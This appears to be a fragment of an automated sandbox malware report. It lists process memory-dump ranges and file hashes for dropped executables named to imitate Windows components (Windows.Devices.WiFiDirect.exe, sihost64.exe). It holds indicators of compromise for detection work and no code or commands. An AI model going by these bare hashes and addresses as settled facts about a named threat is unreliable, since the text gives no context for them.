SHA512 3130f32c100ecb97083ad8ac4c67863e9ceed3a9b06fc464d1aeeaec389f74c8bf56f4ce04f6450fd2cc0fa861d085101c433cfa4bec3095f8ebeeb53b739109

memory/2284-9-0x00007FFBF18F0000-0x00007FFBF1918000-memory.dmp

memory/2284-10-0x0000000001370000-0x0000000001380000-memory.dmp

memory/2284-11-0x000000001BD30000-0x000000001BF36000-memory.dmp

memory/2284-12-0x0000000001350000-0x0000000001362000-memory.dmp

C:\Users\Admin\Windows.Devices.WiFiDirect.exe

MD5 6ad8978690125f46dc271b00f404ec7b
SHA1 a8933e3f8b1aec7a391f76cb2b71d6fd5c71c22f
SHA256 dbdf236189e8a3f13bac81055a3982508b04b05cb76071e33214a1718978705d
SHA512 f7a7915460811a7518351c90b47615377dca705cc306014492ad4f7ca5e3a3492e3e30d78c0f6f8c9e82581d9f2773dfe6ca6a913ef2ae253d8ff98b2fda6131

C:\Users\Admin\Windows.Devices.WiFiDirect.exe

MD5 ceaa1eb1f217c54771ddcf944e18bffb
SHA1 a1019a69046f7d26c582edb28e0c18e0b27a8475
SHA256 0f708f6e1878d6432ae394974e7b48a8b31a73e3190b326e6dd4df58689d016e
SHA512 548755d45ca6692e375c3f6bf4d58b8e349693460beaca6cfc7a75a4b6cf07e58caf01a82b4c575f920c7430cd497b27584d50e1c900a0ec87b5d7ff656272d4

memory/2284-43-0x00007FFBF18F0000-0x00007FFBF1918000-memory.dmp

memory/2284-46-0x00007FFBD97D0000-0x00007FFBDA291000-memory.dmp

memory/2988-48-0x00007FFBD97D0000-0x00007FFBDA291000-memory.dmp

memory/2988-47-0x00007FFBD7FC0000-0x00007FFBD810E000-memory.dmp

memory/2988-49-0x00007FFBF18F0000-0x00007FFBF1918000-memory.dmp

memory/2988-50-0x0000000002CE0000-0x0000000002CF0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

MD5 392ec0c5a999235cb1bd3dfc77b2a0e6
SHA1 5109a25b82d39e4f81537f0c71cdc845c3c67ec7
SHA256 e03de51ab9229dfe332f5857246f25f2d9063707311099841d0f48f8c61c4331
SHA512 672a157dcace64d2d6105b38be30fcc26592d45f68d7748f10e2075939f2f2cb4484e676a51e66fd38cb915f7299fe82aec022cc649cad8cdcc0cdcdce3c72ec

memory/1856-65-0x0000000000850000-0x0000000000856000-memory.dmp

memory/1856-66-0x00007FFBD97D0000-0x00007FFBDA291000-memory.dmp

memory/1856-67-0x00000000033F0000-0x0000000003400000-memory.dmp

memory/4044-68-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-69-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-70-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-71-0x00000000003D0000-0x00000000003F0000-memory.dmp

memory/4044-72-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2988-74-0x00007FFBF18F0000-0x00007FFBF1918000-memory.dmp

memory/4044-75-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-78-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-76-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-79-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2988-77-0x00007FFBD97D0000-0x00007FFBDA291000-memory.dmp

memory/4044-80-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-81-0x0000000140000000-0x0000000140763000-memory.dmp

memory/4044-82-0x0000000140000000-0x0000000140763000-memory.dmp

memory/1856-83-0x00007FFBD97D0000-0x00007FFBDA291000-memory.dmp

memory/1856-84-0x00000000033F0000-0x0000000003400000-memory.dmp